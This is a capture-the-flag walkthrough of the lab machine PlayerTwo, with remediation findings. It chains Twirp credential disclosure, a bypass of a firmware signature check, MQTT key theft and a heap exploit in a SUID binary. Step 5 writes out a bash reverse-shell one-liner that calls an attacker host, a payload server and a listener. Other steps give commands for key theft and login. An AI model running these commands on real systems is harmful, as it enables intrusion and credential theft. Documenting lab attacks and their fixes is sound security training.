← all walkthroughs

PlayerTwo

Linux· Insane· Credential Access· Privilege Escalation
owned
2026-07-13
time to own
21m00s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The attacker enumerated three exposed services on <retired-instance-ip> — SSH on port 22, Apache on port 80, and a PHP Twirp RPC service on port 8545 — and discovered two virtual hostnames: player2.htb and product.player2.htb.

The Twirp RPC service exposed its own protobuf schema file (generated.proto) without authentication, and a GenCreds RPC method within it returned a username, password, and TOTP shared secret, fully defeating the two-factor-protected firmware management portal on product.player2.htb.

After authenticating, the attacker downloaded the reference Protobs firmware archive, located the embedded ELF at offset 0x40, and overwrote a code stub with a reverse-shell dropper — deliberately leaving the signature bytes the portal's integrity check examined untouched.

The tampered package passed all portal validation checks and was executed server-side, producing a web-service shell.

From that foothold, a loopback MQTT broker on port 1883 was found to be publishing firmware-signing job data without requiring authentication; the payload on the signing topic included the SSH private key for the local user observer, which was captured and used to log in directly.

Root access was then obtained by exploiting the non-PIE SUID binary /opt/Configuration_Utility/Protobs: a one-byte null-byte heap overflow on the Description field corrupted an adjacent chunk's size metadata, and a subsequent dereference of the stale (freed) Description pointer produced a use-after-free.

Chaining the two primitives against glibc 2.29 heap internals hijacked control flow inside the SUID process and spawned a root shell.

Attack path — how the box was taken

Mapped exposed services and discovered virtual hostnames, then Retrieved full login credentials and TOTP seed from the unauthenticated Twirp GenCreds method, then Authenticated through the two-factor firmware portal using attacker-generated credentials, then Patched the firmware ELF with a reverse-shell dropper while preserving the signature bytes, then Uploaded the malicious firmware and received a reverse shell as the web service account, then Captured the observer user's SSH private key from the unauthenticated loopback MQTT broker, then Logged in as observer over SSH with the stolen key and captured the user flag, then Chained a heap null-byte overflow and use-after-free in a SUID root binary to gain a root shell.

1EnumerationNetwork service enumeration and virtual-host discovery
Mapped exposed services and discovered virtual hostnames
An nmap service scan revealed SSH on 22, Apache 2.4.29 on 80, and a PHP 7.2.24 application on 8545. HTTP responses referenced the virtual hostnames player2.htb and product.player2.htb; adding those entries to /etc/hosts exposed a static marketing site on the former and a login-plus-TOTP firmware management portal on the latter. Port 8545 accepted Twirp-style HTTP/JSON requests and was identified as the RPC back-end for the product portal.
Exact commands 2
Identify service versions and HTTP titles on the three exposed ports.
nmap -Pn -sV -p 22,80,8545 --script http-title,http-headers $TARGET
Register both discovered virtual hostnames for name resolution.
echo "$TARGET player2.htb product.player2.htb" | sudo tee -a /etc/hosts
2Credential AccessUnauthenticated RPC endpoint exposure / credential generation (information disclosure)
Retrieved full login credentials and TOTP seed from the unauthenticated Twirp GenCreds method
The Twirp RPC service on port 8545 served its own protobuf schema (generated.proto) to any visitor without authentication. That schema defined a GenCreds RPC method. Calling the method with an empty JSON body returned a valid username, password, and TOTP shared secret — the complete credential set needed to pass the firmware portal's two-factor login. No brute-force was required.
GenCreds JSON response provided valid username, password, and TOTP seed subsequently used to authenticate to product.player2.htb.
Exact commands 2
Download the protobuf schema; inspect it to identify the package name, service name, and GenCreds method signature.
curl -sS http://$TARGET/:8545/generated.proto -o /tmp/generated.proto
Read the schema to extract the exact Twirp route: /twirp/<package>.<Service>/GenCreds.
cat /tmp/generated.proto
3Initial AccessAuthentication with attacker-derived credentials (T1078 — Valid Accounts)
Authenticated through the two-factor firmware portal using attacker-generated credentials
The GenCreds-derived username, password, and TOTP seed were fed through the portal's multi-step login flow. A credential POST to / established a session cookie; a TOTP code generated on-the-fly from the seed was submitted to /totp to complete second-factor verification; and /home confirmed full authenticated access. The authenticated portal provided download links for the Protobs firmware datasheet (protobs.pdf) and the reference firmware archive, and an upload endpoint at /protobs/.
Cookie jar populated after /totp step; GET /home returned HTTP 200 with firmware management content and links to /protobs/.
Exact commands 2
Generate a current TOTP code from the secret returned by GenCreds; replace <TOTP_SECRET>.
python3 -c "import pyotp; print(pyotp.TOTP('<TOTP_SECRET>').now())"
Submit the generated TOTP code to complete second-factor authentication.
curl -sS -b /tmp/player2.cookies -c /tmp/player2.cookies -X POST -d 'otp=<TOTP_CODE>' http://$TARGET/totp
4ExploitationFirmware integrity check bypass — content not covered by signature (CWE-347)
Patched the firmware ELF with a reverse-shell dropper while preserving the signature bytes
The reference archive (protobs_firmware_v1.0.tar) contained Protobs.bin, info.txt, and a version file. The protobs.pdf datasheet described the signing scheme; the portal's verification checked file structure and the header's signature region but not the byte content of the ELF body. The embedded ELF began at offset 0x40 within Protobs.bin. A known no-op stub inside the ELF was overwritten with a one-liner that fetched and executed a reverse-shell script from an attacker-controlled HTTP server — all signature bytes at their original offsets were left untouched. The version string was incremented to 1.1, and the archive was repacked under a new filename.
Portal response after upload: 'Verifying signature... It looks legit... All checks passed'. Patched tar SHA-256: [REDACTED: sensitive value].
Exact commands 2
Download the reference firmware archive and the datasheet describing the signing layout.
curl -sS -b /tmp/player2.cookies -o /tmp/protobs_firmware_v1.0.tar http://$TARGET/protobs/protobs_firmware_v1.0.tar && curl -sS -b /tmp/player2.cookies -o /tmp/protobs.pdf http://$TARGET/protobs.pdf
Extract the archive to inspect Protobs.bin, info.txt, and version.
mkdir /tmp/fw && tar xf /tmp/protobs_firmware_v1.0.tar -C /tmp/fw/
5ExploitationRemote code execution via malicious firmware upload (T1190 — Exploit Public-Facing Application)
Uploaded the malicious firmware and received a reverse shell as the web service account
The patched firmware archive was uploaded to the portal's /protobs/verify endpoint. The server validated the package structure and signature header region, reported all checks passed, and executed the embedded binary server-side. The payload fetched /x from the attacker's HTTP server on port 8081 and piped it to bash; a waiting ncat listener on port 34444 received the reverse shell running as www-data (uid 33) inside /var/www/product/protobs on the target host.
Shell confirmed: id returned uid=33(www-data); cwd /var/www/product/protobs; callback received at 07:37:45 GMT.
Exact commands 2
Host the reverse-shell drop script on the attacker machine. Replace <attacker_ip> with your address reachable from the target.
echo 'bash -i >& /dev/tcp/<attacker_ip>/34444 0>&1' > /tmp/x && python3 -m http.server 8081
Start the reverse-shell listener in a separate terminal on the attacker machine.
ncat -lvnp 34444
6Credential AccessCredential theft from unauthenticated message broker (T1552 — Unsecured Credentials)
Captured the observer user's SSH private key from the unauthenticated loopback MQTT broker
A loopback MQTT broker on 127.0.0.1:1883 was reachable from the www-data shell without any authentication. Subscribing to the wildcard topic '#' showed the broker was actively publishing firmware-signing job events on the topic $SYS/internal/firmware/signing. The message payload included a PEM-encoded OpenSSH private key belonging to the local account observer. The key was saved directly from the broker message to disk.
mosquitto_sub output on $SYS/internal/firmware/signing contained a complete PEM-encoded OpenSSH private key for user observer.
Exact commands 2
From the www-data reverse shell: subscribe to all topics without credentials and watch for published messages.
mosquitto_sub -h 127.0.0.1 -p 1883 -t '#' -v
Capture the first message on the signing topic (which contains the SSH private key) and save it with correct permissions.
mosquitto_sub -h 127.0.0.1 -p 1883 -t '$SYS/internal/firmware/signing' -C 1 > /tmp/observer_id_rsa && chmod 600 /tmp/observer_id_rsa
7Lateral MovementSSH lateral movement using a stolen private key (T1021.004 — Remote Services: SSH)
Logged in as observer over SSH with the stolen key and captured the user flag
The OpenSSH private key retrieved from the MQTT broker was used to authenticate directly as observer on port 22. No passphrase was set on the key. The user flag was readable at /home/observer/user.txt. The observer account provided a proper interactive shell and was used as the staging point for the subsequent privilege escalation.
Kill-chain command: ssh -i /tmp/observer_id_rsa observer@<retired-instance-ip> 'cat /home/observer/user.txt' → returned <user.txt>.
Exact commands 2
Authenticate as observer with the stolen key and read the user flag; value: <user.txt>.
ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 observer@$TARGET 'cat /home/observer/user.txt'
Open an interactive observer session for post-exploitation and privilege-escalation work.
ssh -i /tmp/observer_id_rsa -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null observer@$TARGET
8Privilege EscalationHeap off-by-one null-byte overflow + use-after-free in SUID binary (T1068 — Exploitation for Privilege Escalation)
Chained a heap null-byte overflow and use-after-free in a SUID root binary to gain a root shell
The SUID binary /opt/Configuration_Utility/Protobs ran as root, was compiled without PIE (fixed load address), and linked against the host's bundled glibc 2.29. Reverse engineering exposed two heap vulnerabilities: (1) writing to the Description field allowed a one-byte null-byte overflow past the buffer's end, corrupting the prev_size or size field of the adjacent heap chunk; (2) after the Description was freed, the code retained and later dereferenced the now-stale pointer (use-after-free). Chaining the off-by-one to manipulate heap chunk metadata and then triggering the UAF produced attacker-controlled writes into glibc 2.29 heap internals — targeting __free_hook or an equivalent function pointer — which redirected execution to a shell. Because the binary ran SUID root the resulting shell was a root shell.
find output confirmed SUID bit on /opt/Configuration_Utility/Protobs; file/checksec confirmed non-PIE; root shell obtained and root.txt read.
Exact commands 2
As observer: locate SUID binaries; /opt/Configuration_Utility/Protobs will appear in the output.
find / -perm -4000 -type f 2>/dev/null
Confirm non-PIE executable, SUID bit, NX state, and linked glibc version to inform exploit strategy.
file /opt/Configuration_Utility/Protobs && checksec --file=/opt/Configuration_Utility/Protobs

Attack patterns used

The transferable techniques behind the compromise.

Unauthenticated RPC endpoint exposure / credential generation (information disclosure)Credential Access

What it is

The Twirp RPC service on port 8545 served its own protobuf schema (generated.proto) to any visitor without authentication. That schema defined a GenCreds RPC method. Calling the method with an empty JSON body returned a valid username, password, and TOTP shared secret — the complete credential set needed to pass the firmware portal's two-factor login. No brute-force was required.

Why it works

Remove GenCreds from the public-facing service entirely; if automated credential provisioning is needed it must be an authenticated, audited, and out-of-band administrative workflow. Require at minimum a pre-shared API key or mutual TLS for all Twirp RPC calls, and restrict retrieval of the .proto schema file. Consider whether the firmware portal and its RPC back-end need to be internet-facing at all; if not, place them behind a VPN or restrict them to an allowlisted set of source IP addresses.

Firmware integrity check bypass — content not covered by signatureExploitation

What it is

The reference archive (protobs_firmware_v1.0.tar) contained Protobs.bin, info.txt, and a version file. The protobs.pdf datasheet described the signing scheme; the portal's verification checked file structure and the header's signature region but not the byte content of the ELF body. The embedded ELF began at offset 0x40 within Protobs.bin. A known no-op stub inside the ELF was overwritten with a one-liner that fetched and executed a reverse-shell script from an attacker-controlled HTTP server — all signature bytes at their original offsets were left untouched. The version string was incremented to 1.1, and the archive was repacked under a new filename.

Why it works

Generate an RSA or ECDSA signature over the SHA-256 hash of the fully assembled package — every byte of every file — not just a header checksum. The signing private key must be held offline and never reachable from the portal server. Before executing any uploaded firmware, recompute the content hash, verify the signature against the pinned public key, and reject the package on any mismatch. Additionally, run the firmware execution step in a sandboxed or namespaced environment (e.g., a dedicated low-privilege service account, Linux namespaces, or a container) so that a future bypass yields only limited rather than full web-server code execution.

Credential theft from unauthenticated message brokerCredential AccessT1552

What it is

A loopback MQTT broker on 127.0.0.1:1883 was reachable from the www-data shell without any authentication. Subscribing to the wildcard topic '#' showed the broker was actively publishing firmware-signing job events on the topic $SYS/internal/firmware/signing. The message payload included a PEM-encoded OpenSSH private key belonging to the local account observer. The key was saved directly from the broker message to disk.

Why it works

Enable MQTT authentication (username/password at minimum; mutual TLS preferred) and configure a per-topic ACL so that only the specific service accounts that legitimately need access to a given topic can publish or subscribe to it. Never transmit secrets — SSH keys, API tokens, passwords — as message payloads; use indirect references such as a job ID that the recipient resolves against a secrets manager. Bind the broker to the loopback interface only if external access is not needed and firewall port 1883 from all untrusted network segments.

Heap off-by-one null-byte overflow + use-after-free in SUID binaryPrivilege EscalationT1068

What it is

The SUID binary /opt/Configuration_Utility/Protobs ran as root, was compiled without PIE (fixed load address), and linked against the host's bundled glibc 2.29. Reverse engineering exposed two heap vulnerabilities: (1) writing to the Description field allowed a one-byte null-byte overflow past the buffer's end, corrupting the prev_size or size field of the adjacent heap chunk; (2) after the Description was freed, the code retained and later dereferenced the now-stale pointer (use-after-free). Chaining the off-by-one to manipulate heap chunk metadata and then triggering the UAF produced attacker-controlled writes into glibc 2.29 heap internals — targeting __free_hook or an equivalent function pointer — which redirected execution to a shell. Because the binary ran SUID root the resulting shell was a root shell.

Why it works

Audit and correct all Description buffer write operations so that lengths are enforced with explicit bounds checks using safe string functions (e.g., strnlen/snprintf with the exact buffer size). Zero-out and set pointers to NULL immediately after free to eliminate the use-after-free. Recompile with full hardening: PIE (-fPIE -pie), full RELRO (-Wl,-z,relro,-z,now), stack canaries (-fstack-protector-strong), and NX. Evaluate whether SUID root is necessary; if the utility only needs access to specific privileged resources, replace the SUID bit with targeted Linux capabilities (setcap). Keep the bundled glibc updated to a supported release.

Findings

Remove the public-facing GenCreds RPC method and require authentication for the Twirp serviceCritical
The Twirp RPC service on port 8545 served its complete protobuf schema (generated.proto) and a GenCreds method to the internet with no authentication whatsoever. Any external visitor could call GenCreds and receive a valid username, password, and TOTP seed for the firmware management portal, making the portal's two-factor login entirely ineffective.
Sign the complete firmware package content — not just its headers — with a verifiable asymmetric signatureCritical
The firmware portal's integrity check validated package structure and examined signature bytes in the file header region but did not verify the byte content of the embedded ELF executable body. An attacker could freely modify the payload code, repackage the archive with the original signature bytes preserved, and the portal accepted the tampered firmware as legitimate and executed it.
Require authentication on the MQTT broker and never publish secrets as message payloadsHigh
The MQTT broker on 127.0.0.1:1883 accepted connections and subscriptions from any local process without requiring a username or password. The firmware-signing workflow published an SSH private key as a message payload on $SYS/internal/firmware/signing. Any low-privilege process on the host — including a web shell — could subscribe to all topics and immediately read the key.
Fix the heap memory-corruption bugs in Protobs and reduce the binary's runtime privilegeCritical
The SUID-root binary /opt/Configuration_Utility/Protobs contained a one-byte null-byte overflow past the end of the Description heap buffer and a subsequent use-after-free of the freed Description pointer. The binary was compiled without PIE, giving it a fixed load address that eliminates ASLR for its own code and making heap exploitation reliably reproducible. Any user on the system could exploit the chain to become root.

Exposed services

External surface